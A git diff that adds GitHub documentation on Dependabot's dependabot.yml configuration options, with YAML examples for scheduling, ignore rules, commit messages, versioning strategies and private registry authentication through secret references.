+**Note**: `schedule` defines when {% data variables.product.prodname_dependabot %} attempts a new update. However, it's not the only time you may receive pull requests. Updates can be triggered based on changes to your `dependabot.yml` file, changes to your manifest file(s) after a failed update, or {% data variables.product.prodname_dependabot_security_updates %}. For more information, see "[Frequency of {% data variables.product.prodname_dependabot %} pull requests](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates#frequency-of-dependabot-pull-requests)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+
+{% endnote %}
+
+### `allow`
+
+{% data reusables.dependabot.default-dependencies-allow-ignore %}
+
+Use the `allow` option to customize which dependencies are updated. This applies to both version and security updates. You can use the following options:
+
+- `dependency-name`—use to allow updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId`, for example: `org.kohsuke:github-api`.
+- `dependency-type`—use to allow updates for dependencies of specific types.
+
+  | Dependency types | Supported by package managers | Allow updates |
+  |------------------|-------------------------------|--------|
+  | `direct` | All | All explicitly defined dependencies. |
+  | `indirect` | `bundler`, `pip`, `composer`, `cargo` | Dependencies of direct dependencies (also known as sub-dependencies, or transient dependencies).|
+  | `all` | All | All explicitly defined dependencies. For `bundler`, `pip`, `composer`, `cargo`, also the dependencies of direct dependencies.|
+  | `production` | `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Production dependency group". |
+  | `development`| `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Development dependency group". |
+
+```yaml
+# Use `allow` to specify which dependencies to maintain
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    allow:
+      # Allow updates for Lodash
+      - dependency-name: "lodash"
+      # Allow updates for React and any packages starting "react"
+      - dependency-name: "react*"
+
+  - package-ecosystem: "composer"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    allow:
+      # Allow both direct and indirect updates for all packages
+      - dependency-type: "all"
+
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    allow:
+      # Allow only direct updates for
+      # Django and any packages starting "django"
+      - dependency-name: "django*"
+        dependency-type: "direct"
+      # Allow only production updates for Sphinx
+      - dependency-name: "sphinx"
+        dependency-type: "production"
+```
+
+### `assignees`
+
+Use `assignees` to specify individual assignees for all pull requests raised for a package manager.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Specify assignees for pull requests
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Add assignees
+    assignees:
+      - "octocat"
+```
+
+### `commit-message`
+
+By default, {% data variables.product.prodname_dependabot %} attempts to detect your commit message preferences and use similar patterns. Use the `commit-message` option to specify your preferences explicitly.
+
+Supported options
+
+{% note %}
+
+**Note:** The `prefix` and the `prefix-development` options have a 15 character limit.
+
+{% endnote %}
+
+- `prefix` specifies a prefix for all commit messages.
+- `prefix-development` specifies a separate prefix for all commit messages that update dependencies in the Development dependency group. When you specify a value for this option, the `prefix` is used only for updates to dependencies in the Production dependency group. This is supported by: `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`.
+- `include: "scope"` specifies that any prefix is followed by a list of the dependencies updated in the commit.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Customize commit messages
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    commit-message:
+      # Prefix all commit messages with "npm"
+      prefix: "npm"
+
+  - package-ecosystem: "composer"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Prefix all commit messages with "Composer"
+    # include a list of updated dependencies
+    commit-message:
+      prefix: "Composer"
+      include: "scope"
+
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Include a list of updated dependencies
+    # with a prefix determined by the dependency group
+    commit-message:
+      prefix: "pip prod"
+      prefix-development: "pip dev"
+      include: "scope"
+```
+If you use the same configuration as in the example above, bumping the `requests` library in the `pip` development dependency group will generate a commit message of:
+
+   `pip dev: bump requests from 1.0.0 to 1.0.1`
+
+### `ignore`
+
+{% data reusables.dependabot.default-dependencies-allow-ignore %}
+
+Dependencies can be ignored either by adding them to `ignore` or by using the `@dependabot ignore` command on a pull request opened by {% data variables.product.prodname_dependabot %}.
+
+#### Creating `ignore` conditions from `@dependabot ignore`
+
+Dependencies ignored by using the `@dependabot ignore` command are stored centrally for each package manager. If you start ignoring dependencies in the `dependabot.yml` file, these existing preferences are considered alongside the `ignore` dependencies in the configuration.
+
+You can check whether a repository has stored `ignore` preferences by searching the repository for `"@dependabot ignore" in:comments`. If you wish to un-ignore a dependency ignored this way, re-open the pull request.
+
+For more information about the `@dependabot ignore` commands, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)."
+
+#### Specifying dependencies and versions to ignore
+
+You can use the `ignore` option to customize which dependencies are updated. The `ignore` option supports the following options.
+
+- `dependency-name`—use to ignore updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId` (for example: `org.kohsuke:github-api`). {% ifversion dependabot-grouped-dependencies %} To prevent {% data variables.product.prodname_dependabot %} from automatically updating TypeScript type definitions from DefinitelyTyped, use `@types/*`.{% endif %}
+- `versions`—use to ignore specific versions or ranges of versions. If you want to define a range, use the standard pattern for the package manager (for example: `^1.0.0` for npm, or `~> 2.0` for Bundler).
+- `update-types`—use to ignore types of updates, such as semver `major`, `minor`, or `patch` updates on version updates (for example: `version-update:semver-patch` will ignore patch updates). You can combine this with `dependency-name: "*"` to ignore particular `update-types` for all dependencies. Currently, `version-update:semver-major`, `version-update:semver-minor`, and `version-update:semver-patch` are the only supported options. Security updates are unaffected by this setting.
+
+If `versions` and `update-types` are used together, {% data variables.product.prodname_dependabot %} will ignore any update in either set.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Use `ignore` to specify dependencies that should not be updated
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    ignore:
+      - dependency-name: "express"
+        # For Express, ignore all updates for version 4 and 5
+        versions: ["4.x", "5.x"]
+        # For Lodash, ignore all updates
+      - dependency-name: "lodash"
+        # For AWS SDK, ignore all patch updates
+      - dependency-name: "aws-sdk"
+        update-types: ["version-update:semver-patch"]
+```
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_dependabot %} can only run version updates on manifest or lock files if it can access all of the dependencies in the file, even if you add inaccessible dependencies to the `ignore` option of your configuration file. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors#dependabot-cant-resolve-your-dependency-files)."
+
+
+{% endnote %}
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+{% note %}
+
+**Note**: For the `pub` ecosystem, {% data variables.product.prodname_dependabot %} won't perform an update when the version that it tries to update to is ignored, even if an earlier version is available.
+
+{% endnote %}
+
+{% endif %}
+
+### `insecure-external-code-execution`
+
+Package managers with the `package-ecosystem` values `bundler`, `mix`, and `pip` may execute external code in the manifest as part of the version update process. This might allow a compromised package to steal credentials or gain access to configured registries. When you add a [`registries`](#registries) setting within an `updates` configuration, {% data variables.product.prodname_dependabot %} automatically prevents external code execution, in which case the version update may fail. You can choose to override this behavior and allow external code execution for `bundler`, `mix`, and `pip` package managers by setting `insecure-external-code-execution` to `allow`.
+
+You can explicitly deny external code execution, irrespective of whether there is a `registries` setting for this update configuration, by setting `insecure-external-code-execution` to `deny`.
+
+{% raw %}
+```yaml
+# Allow external code execution when updating dependencies from private registries
+
+version: 2
+registries:
+  ruby-github:
+    type: rubygems-server
+    url: https://rubygems.pkg.github.com/octocat/github_api
+    token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}}
+updates:
+  - package-ecosystem: "bundler"
+    directory: "/rubygems-server"
+    insecure-external-code-execution: allow
+    registries: "*"
+    schedule:
+      interval: "monthly"
+```
+{% endraw %}
+
+### `labels`
+
+{% data reusables.dependabot.default-labels %}
+
+Use `labels` to override the default labels and specify alternative labels for all pull requests raised for a package manager. If any of these labels is not defined in the repository, it is ignored.
+To disable all labels, including the default labels, use `labels: [ ]`.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Specify labels for pull requests
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Specify labels for npm pull requests
+    labels:
+      - "npm"
+      - "dependencies"
+```
+
+### `milestone`
+
+Use `milestone` to associate all pull requests raised for a package manager with a milestone. You need to specify the numeric identifier of the milestone and not its label. If you view a milestone, the final part of the page URL, after `milestone`, is the identifier. For example: `https://github.com/<org>/<repo>/milestone/3`.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Specify a milestone for pull requests
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Associate pull requests with milestone "4"
+    milestone: 4
+```
+
+### `open-pull-requests-limit`
+
+By default, {% data variables.product.prodname_dependabot %} opens a maximum of five pull requests for version updates. Once there are five open pull requests from {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_dependabot %} will not open any new requests until some of those open requests are merged or closed. Use `open-pull-requests-limit` to change this limit. This also provides a simple way to temporarily disable version updates for a package manager.
+
+This option has no impact on security updates, which have a separate, internal limit of ten open pull requests.
+
+```yaml
+# Specify the number of open pull requests allowed
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Disable version updates for npm dependencies
+    open-pull-requests-limit: 0
+
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Allow up to 10 open pull requests for pip dependencies
+    open-pull-requests-limit: 10
+```
+
+### `pull-request-branch-name.separator`
+
+{% data variables.product.prodname_dependabot %} generates a branch for each pull request. Each branch name includes `dependabot`, and the package manager and dependency that are updated. By default, these parts are separated by a `/` symbol, for example: `dependabot/npm_and_yarn/next_js/acorn-6.4.1`.
+
+Use `pull-request-branch-name.separator` to specify a different separator. This can be one of: `"-"`, `_` or `/`. The hyphen symbol must be quoted because otherwise it's interpreted as starting an empty YAML list.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Specify a different separator for branch names
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    pull-request-branch-name:
+      # Separate sections of the branch name with a hyphen
+      # for example, `dependabot-npm_and_yarn-next_js-acorn-6.4.1`
+      separator: "-"
+```
+
+### `rebase-strategy`
+
+By default, {% data variables.product.prodname_dependabot %} automatically rebases open pull requests when it detects any changes to the pull request. Use `rebase-strategy` to disable this behavior.
+
+Available rebase strategies
+
+- `disabled` to disable automatic rebasing.
+- `auto` to use the default behavior and rebase open pull requests when changes are detected.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Disable automatic rebasing
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Disable rebasing for npm pull requests
+    rebase-strategy: "disabled"
+```
+
+### `registries`
+
+To allow {% data variables.product.prodname_dependabot %} to access a private package registry when performing a version update, you must include a `registries` setting within the relevant `updates` configuration. You can allow all of the defined registries to be used by setting `registries` to `"*"`. Alternatively, you can list the registries that the update can use. To do this, use the name of the registry as defined in the top-level `registries` section of the _dependabot.yml_ file. For more information, see "[Configuration options for private registries](#configuration-options-for-private-registries)" below.
+
+To allow {% data variables.product.prodname_dependabot %} to use `bundler`, `mix`, and `pip` package managers to update dependencies in private registries, you can choose to allow external code execution. For more information, see [`insecure-external-code-execution`](#insecure-external-code-execution) above.
+
+```yaml
+# Allow {% data variables.product.prodname_dependabot %} to use one of the two defined private registries
+# when updating dependency versions for this ecosystem
+
+{% raw %}
+version: 2
+registries:
+  maven-github:
+    type: maven-repository
+    url: https://maven.pkg.github.com/octocat
+    username: octocat
+    password: ${{secrets.MY_ARTIFACTORY_PASSWORD}}
+  npm-npmjs:
+    type: npm-registry
+    url: https://registry.npmjs.org
+    username: octocat
+    password: ${{secrets.MY_NPM_PASSWORD}}
+updates:
+  - package-ecosystem: "gitsubmodule"
+    directory: "/"
+    registries:
+      - maven-github
+    schedule:
+      interval: "monthly"
+{% endraw %}
+```
+
+### `reviewers`
+
+Use `reviewers` to specify individual reviewers or teams of reviewers for all pull requests raised for a package manager. You must use the full team name, including the organization, as if you were @mentioning the team.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+```yaml
+# Specify reviewers for pull requests
+
+version: 2
+updates:
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Add reviewers
+    reviewers:
+      - "octocat"
+      - "my-username"
+      - "my-org/python-team"
+```
+
+### `schedule.day`
+
+When you set a `weekly` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions on Monday at a random set time for the repository. Use `schedule.day` to specify an alternative day to check for updates.
+
+Supported values
+
+- `monday`
+- `tuesday`
+- `wednesday`
+- `thursday`
+- `friday`
+- `saturday`
+- `sunday`
+
+```yaml
+# Specify the day for weekly checks
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+      # Check for npm updates on Sundays
+      day: "sunday"
+```
+
+### `schedule.time`
+
+By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.time` to specify an alternative time of day to check for updates (format: `hh:mm`).
+
+```yaml
+# Set a time for checks
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+      # Check for npm updates at 9am UTC
+      time: "09:00"
+```
+
+### `schedule.timezone`
+
+By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.timezone` to specify an alternative time zone. The time zone identifier must be from the Time Zone database maintained by [iana](https://www.iana.org/time-zones). For more information, see [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
+
+```yaml
+# Specify the timezone for checks
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+      time: "09:00"
+      # Use Japan Standard Time (UTC +09:00)
+      timezone: "Asia/Tokyo"
+```
+
+### `target-branch`
+
+By default, {% data variables.product.prodname_dependabot %} checks for manifest files on the default branch and raises pull requests for version updates against this branch. Use `target-branch` to specify a different branch for manifest files and for pull requests. When you use this option, the settings for this package manager will no longer affect any pull requests raised for security updates.
+
+```yaml
+# Specify a non-default branch for pull requests for pip
+
+version: 2
+updates:
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Raise pull requests for version updates
+    # to pip against the `develop` branch
+    target-branch: "develop"
+    # Labels on pull requests for version updates only
+    labels:
+      - "pip dependencies"
+
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+      # Check for npm updates on Sundays
+      day: "sunday"
+    # Labels on pull requests for security and version updates
+    labels:
+      - "npm dependencies"
+```
+
+### `vendor`
+
+Use the `vendor` option to tell {% data variables.product.prodname_dependabot %} to vendor dependencies when updating them. Don't use this option if you're using `gomod` as {% data variables.product.prodname_dependabot %} automatically detects vendoring for this tool.
+
+```yaml
+# Configure version updates for both dependencies defined in manifests and vendored dependencies
+
+version: 2
+updates:
+  - package-ecosystem: "bundler"
+    # Raise pull requests to update vendored dependencies that are checked in to the repository
+    vendor: true
+    directory: "/"
+    schedule:
+      interval: "weekly"
+```
+
+{% data variables.product.prodname_dependabot %} only updates the vendored dependencies located in specific directories in a repository.
+
+| Package manager | Required file path for vendored dependencies | More information |
+  |------------------|-------------------------------|--------|
+  | `bundler` | The dependencies must be in the _vendor/cache_ directory.</br>Other file paths are not supported. | [`bundle cache` documentation](https://bundler.io/man/bundle-cache.1.html) |
+  | `gomod` | No path requirement (dependencies are usually located in the _vendor_ directory) | [`go mod vendor` documentation](https://golang.org/ref/mod#go-mod-vendor) |
+
+
+### `versioning-strategy`
+
+When {% data variables.product.prodname_dependabot %} edits a manifest file to update a version, it uses the following overall strategies:
+
+- For apps, the version requirements are increased, for example: npm, pip and Composer.
+- For libraries, the range of versions is widened, for example: Bundler and Cargo.
+
+Use the `versioning-strategy` option to change this behavior for supported package managers.
+
+{% data reusables.dependabot.option-affects-security-updates %}
+
+Available update strategies
+
+| Option | Supported by | Action |
+|--------|--------------|--------|
+| `lockfile-only` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Only create pull requests to update lockfiles. Ignore any new versions that would require package manifest changes. |
+| `auto` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Follow the default strategy described above.|
+| `widen`| `composer`, `npm` | Relax the version requirement to include both the new and old version, when possible. |
+| `increase`| `bundler`, `composer`, `npm`{% ifversion dependabot-increase-version-pip-support %}, `pip`{% endif %}  | Always increase the version requirement to match the new version. |
+| `increase-if-necessary` | `bundler`, `composer`, `npm`{% ifversion dependabot-increase-version-pip-support %}, `pip`{% endif %} | Increase the version requirement only when required by the new version. |
+
+```yaml
+# Customize the manifest version strategy
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Update the npm manifest file to relax
+    # the version requirements
+    versioning-strategy: widen
+
+  - package-ecosystem: "composer"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Increase the version requirements for Composer
+    # only when required
+    versioning-strategy: increase-if-necessary
+
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Only allow updates to the lockfile for pip and
+    # ignore any version updates that affect the manifest
+    versioning-strategy: lockfile-only
+```
+
+## Configuration options for private registries
+
+The top-level `registries` key is optional. It allows you to specify authentication details that {% data variables.product.prodname_dependabot %} can use to access private package registries.
+
+{% note %}
+
+**Note:** Private registries behind firewalls on private networks are not supported.
+
+{% endnote %}
+
+The value of the `registries` key is an associative array, each element of which consists of a key that identifies a particular registry and a value which is an associative array that specifies the settings required to access that registry. The following *dependabot.yml* file, configures a registry identified as `dockerhub` in the `registries` section of the file and then references this in the `updates` section of the file.
+
+{% raw %}
+```yaml
+# Minimal settings to update dependencies in one private registry
+
+version: 2
+registries:
+  dockerhub: # Define access for a private registry
+    type: docker-registry
+    url: registry.hub.docker.com
+    username: octocat
+    password: ${{secrets.DOCKERHUB_PASSWORD}}
+updates:
+  - package-ecosystem: "docker"
+    directory: "/docker-registry/dockerhub"
+    registries:
+      - dockerhub # Allow version updates for dependencies in this registry
+    schedule:
+      interval: "monthly"
+```
+{% endraw %}
+
+You use the following options to specify access settings. Registry settings must contain a `type` and a `url`, and typically either a `username` and `password` combination or a `token`.
+
+| Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | Description |
+|:---|:---|
+| `type`                     | Identifies the type of registry. See the full list of types below. |
+| `url`                      | The URL to use to access the dependencies in this registry. The protocol is optional. If not specified, `https://` is assumed. {% data variables.product.prodname_dependabot %} adds or ignores trailing slashes as required. |
+| `username`                 | The username that {% data variables.product.prodname_dependabot %} uses to access the registry. |
+| `password`                 | A reference to a {% data variables.product.prodname_dependabot %} secret containing the password for the specified user. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
+| `key`                    | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access key for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
+| `token`                    | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access token for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
+| `replaces-base`            | For registries with `type: python-index`, if the boolean value is `true`, pip resolves dependencies by using the specified URL rather than the base URL of the Python Package Index (by default `https://pypi.org/simple`). |
+
+
+Each configuration `type` requires you to provide particular settings. Some types allow more than one way to connect. The following sections provide details of the settings you should use for each `type`.
+
+### `composer-repository`
+
+The `composer-repository` type supports username and password.
+
+{% raw %}
+```yaml
+registries:
+  composer:
+    type: composer-repository
+    url: https://repo.packagist.com/example-company/
+    username: octocat
+    password: ${{secrets.MY_PACKAGIST_PASSWORD}}
+```
+{% endraw %}
+
+### `docker-registry`
+
+{% data variables.product.prodname_dependabot %}  works with any container registries that implement the OCI container registry spec. For more information, see [https://github.com/opencontainers/distribution-spec/blob/main/spec.md](https://github.com/opencontainers/distribution-spec/blob/main/spec.md).  {% data variables.product.prodname_dependabot %} supports authentication to private registries via a central token service or HTTP Basic Auth. For further details, see [Token Authentication Specification](https://docs.docker.com/registry/spec/auth/token/) in the Docker documentation and [Basic access authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) on Wikipedia.
+
+The `docker-registry` type supports username and password.
+
+{% raw %}
+```yaml
+registries:
+  dockerhub:
+    type: docker-registry
+    url: https://registry.hub.docker.com
+    username: octocat
+    password: ${{secrets.MY_DOCKERHUB_PASSWORD}}
+```
+{% endraw %}
+
+The `docker-registry` type can also be used to pull from private Amazon ECR using static AWS credentials.
+
+{% raw %}
+```yaml
+registries:
+  ecr-docker:
+    type: docker-registry
+    url: https://1234567890.dkr.ecr.us-east-1.amazonaws.com
+    username: ${{secrets.ECR_AWS_ACCESS_KEY_ID}}
+    password: ${{secrets.ECR_AWS_SECRET_ACCESS_KEY}}
+```
+{% endraw %}
+
+### `git`
+
+The `git` type supports username and password.
+
+{% raw %}
+```yaml
+registries:
+  github-octocat:
+    type: git
+    url: https://github.com
+    username: x-access-token
+    password: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}}
+```
+{% endraw %}
+
+### `hex-organization`
+
+The `hex-organization` type supports organization and key.
+
+{% raw %}
+```yaml
+registries:
+  github-hex-org:
+    type: hex-organization
+    organization: github
+    key: ${{secrets.MY_HEX_ORGANIZATION_KEY}}
+```
+{% endraw %}
+
+### `maven-repository`
+
+The `maven-repository` type supports username and password.
+
+{% raw %}
+```yaml
+registries:
+  maven-artifactory:
+    type: maven-repository
+    url: https://artifactory.example.com
+    username: octocat
+    password: ${{secrets.MY_ARTIFACTORY_PASSWORD}}
+```
+{% endraw %}
+
+### `npm-registry`
+
+The `npm-registry` type supports username and password, or token.
+
+When using username and password, your `.npmrc`'s auth token may contain a `base64` encoded `_password`; however, the password referenced in your {% data variables.product.prodname_dependabot %} configuration file must be the original (unencoded) password. 
+
+{% raw %}
+```yaml
+registries:
+  npm-npmjs:
+    type: npm-registry
+    url: https://registry.npmjs.org
+    username: octocat
+    password: ${{secrets.MY_NPM_PASSWORD}}  # Must be an unencoded password
+```
+{% endraw %}
+
+{% raw %}
+```yaml
+registries:
+  npm-github:
+    type: npm-registry
+    url: https://npm.pkg.github.com
+    token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}}
+```
+{% endraw %}
+{% ifversion dependabot-yarn-v3-update %}
+For security reasons, {% data variables.product.prodname_dependabot %} does not set environment variables. Yarn (v2 and later) requires that any accessed environment variables are set. When accessing environment variables in your `.yarnrc.yml` file, you should provide a fallback value such as {% raw %}`${ENV_VAR-fallback}`{% endraw %} or {% raw %}`${ENV_VAR:-fallback}`{% endraw %}. For more information, see [Yarnrc files](https://yarnpkg.com/configuration/yarnrc) in the Yarn documentation.{% endif %}
+
+### `nuget-feed`
+
+The `nuget-feed` type supports username and password, or token.
+
+{% raw %}
+```yaml
+registries:
+  nuget-example:
+    type: nuget-feed
+    url: https://nuget.example.com/v3/index.json
+    username: octocat@example.com
+    password: ${{secrets.MY_NUGET_PASSWORD}}
+```
+{% endraw %}
+
+{% raw %}
+```yaml
+registries:
+  nuget-azure-devops:
+    type: nuget-feed
+    url: https://pkgs.dev.azure.com/.../_packaging/My_Feed/nuget/v3/index.json
+    username: octocat@example.com
+    password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}}
+```
+{% endraw %}
+
+### `python-index`
+
+The `python-index` type supports username and password, or token.
+
+{% raw %}
+```yaml
+registries:
+  python-example:
+    type: python-index
+    url: https://example.com/_packaging/my-feed/pypi/example
+    username: octocat
+    password: ${{secrets.MY_BASIC_AUTH_PASSWORD}}
+    replaces-base: true
+```
+{% endraw %}
+
+{% raw %}
+```yaml
+registries:
+  python-azure:
+    type: python-index
+    url: https://pkgs.dev.azure.com/octocat/_packaging/my-feed/pypi/example
+    username: octocat@example.com
+    password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}}
+    replaces-base: true
+```
+{% endraw %}
+
+### `rubygems-server`
+
+The `rubygems-server` type supports username and password, or token.
+
+{% raw %}
+```yaml
+registries:
+  ruby-example:
+    type: rubygems-server
+    url: https://rubygems.example.com
+    username: octocat@example.com
+    password: ${{secrets.MY_RUBYGEMS_PASSWORD}}
+```
+{% endraw %}
+
+{% raw %}
+```yaml
+registries:
+  ruby-github:
+    type: rubygems-server
+    url: https://rubygems.pkg.github.com/octocat/github_api
+    token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}}
+```
+{% endraw %}
+
+### `terraform-registry`
+
+The `terraform-registry` type supports a token.
+
+{% raw %}
+```yaml
+registries:
+  terraform-example:
+    type: terraform-registry
+    url: https://terraform.example.com
+    token: ${{secrets.MY_TERRAFORM_API_TOKEN}}
+```
+{% endraw %}
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+## Enabling support for beta-level ecosystems
+
+### `enable-beta-ecosystems`
+
+By default, {% data variables.product.prodname_dependabot %} updates the dependency manifests and lock files only for fully supported ecosystems. Use the `enable-beta-ecosystems` flag to opt in to updates for ecosystems that are not yet generally available.
+
+```yaml
+# Configure beta ecosystem
+
+version: 2
+enable-beta-ecosystems: true
+updates:{% ifversion fpt or ghec or ghes > 3.5 %}
+  - package-ecosystem: "beta-ecosystem"{% else %}
+  - package-ecosystem: "pub"{% endif %}
+    directory: "/"
+    schedule:
+      interval: "weekly"
+```
+{% endif %}
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md
new file mode 100644
index 0000000000..9bb5a8e002
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md
@@ -0,0 +1,166 @@
+---
+title: Configuring Dependabot version updates
+intro: 'You can configure your repository so that {% data variables.product.prodname_dependabot %} automatically updates the packages you use.'
+permissions: 'People with write permissions to a repository can enable or disable {% data variables.product.prodname_dependabot_version_updates %} for the repository.'
+redirect_from:
+  - /github/administering-a-repository/enabling-and-disabling-version-updates
+  - /code-security/supply-chain-security/enabling-and-disabling-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '> 3.2'
+type: how_to
+topics:
+  - Dependabot
+  - Version updates
+  - Repositories
+  - Dependencies
+  - Pull requests
+shortTitle: Configure version updates
+---
+<!--Marketing-LINK: From /features/security/software-supply-chain page "About version updates for dependencies".-->
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About version updates for dependencies
+
+You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a *dependabot.yml* configuration file in to your repository's `.github` directory. {% data variables.product.prodname_dependabot %} then raises pull requests to keep the dependencies you configure up-to-date. For each package manager's dependencies that you want to update, you must specify the location of the package manifest files and how often to check for updates to the dependencies listed in those files. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)."
+
+{% data reusables.dependabot.initial-updates %} For more information, see "[Customizing dependency updates](/github/administering-a-repository/customizing-dependency-updates)."
+
+By default only direct dependencies that are explicitly defined in a manifest are kept up to date by {% data variables.product.prodname_dependabot_version_updates %}. You can choose to receive updates for indirect dependencies defined in lock files. For more information, see "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#allow)."
+
+{% data reusables.dependabot.private-dependencies-note %} Additionally, {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. For more information, see "[About Dependabot version updates](/github/administering-a-repository/about-dependabot-version-updates#supported-repositories-and-ecosystems)" and "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)."
+
+## Enabling {% data variables.product.prodname_dependabot_version_updates %}
+
+You enable {% data variables.product.prodname_dependabot_version_updates %} by commiting a *dependabot.yml* configuration file to your repository. 
+{% ifversion dependabot-settings-update-37 %}If you enable the feature in your settings page, GitHub creates a basic file which you can edit, otherwise you can create the file using any file editor.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
